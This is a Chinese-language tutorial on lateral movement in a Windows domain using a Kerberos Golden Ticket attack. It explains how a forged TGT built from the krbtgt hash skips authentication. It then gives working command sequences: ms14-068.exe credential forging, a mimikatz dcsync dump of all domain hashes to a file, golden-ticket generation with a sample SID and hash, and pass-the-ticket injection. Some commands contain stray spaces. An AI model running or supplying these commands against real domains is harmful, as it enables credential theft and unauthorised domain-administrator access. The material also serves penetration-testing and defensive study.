域内横向渗透-PTT票据传递之黄金票据 Golden Ticket
链接: 域内横向渗透-PTT票据传递之kerberos认证原理详解
原理
在上文kerberos认证中,认证第一步通过AS认证后,AS 会给 Client 一个
Logon Session Key 和 TGT,而 Logon Session Key 并不会保存在 KDC 中,krbtgt 的
NTLM Hash 又是固定的,所以只要得到 krbtgt 的 NTLM Hash,就可以伪造 TGT 和
Logon Session Key 来进入下一步 Client 与 TGS 的交互。而已有了金票后,就跳过 AS 验证,即跳过kerberos第一部分验证
,不用验证账户和密码,所以也不担心域管密码修改。
特点:不需要与 AS 进行交互,需要用户 krbtgt 的 Hash 。
利用
可以用MS14-068提权漏洞利用工具以及mimikatz工具配合使用,或者直接利用mimikatz进行票据传递。
利用条件
伪造金票的所需条件
1、 域名称
2、 域的 SID 值
3、 域的 KRBTGT 账号的 HASH
4、 伪造任意用户名
使用方法
ms14-068提权与mimikatz
ms14-068.exe -u 域成员名@域名 -p 域成员密码 -s 域成员sid -d 域控制器地址
上述命令会生成一个伪造凭证到当前目录。
使用 mimikatz 清空之前缓存的凭证,导入伪造的凭证。
之后使用mimikatz:
mimikatz # kerberos::purge //清空票据
mimikatz # kerberos::ptc 票据文件地址
mimikatz提取krbtgt hash
mimikatz(commandline) # privilege::debug
mimikatz(commandline) # lsadump::dcsync /domain:moonhack.com /all /csv 或lsadump::lsa /inject
mimikatz(commandline) # lsadump::dcsync /domain:moonhack.com /user:krbt gt
mimikatz.exe “privilege::debug” “lsadump::dcsync /domain:moonsec.fbi /a ll /csv” “exit”>loghash.txt
利用 mimikatz 生成金票生成.kirbi 文件并保存:
mimikatz.exe “kerberos::golden /admin:system /domain:moonhack.com /sid: S-1-5-21-3439616436-2844000184-3841763578 /krbtgt:4c1d57638dddb470a8588 af80160f5f6 /ticket:ticket.kirbi” exit
/admin:伪造的用户名
/domain:域名称
/sid:SID值,注意是去掉最后一个-后面的值
/krbtgt:krbtgt的HASH值
/ticket:生成的票据名称 //不是写入内存中的命令!
金票的使用
登录域内普通用户,通过 mimikatz 中的 kerberos::ptt 功能将 ticket.kirbi 导入内存中。导入票据之前访问域控。
mimikatz # kerberos::purge
mimikatz # kerberos::ptt 票据路径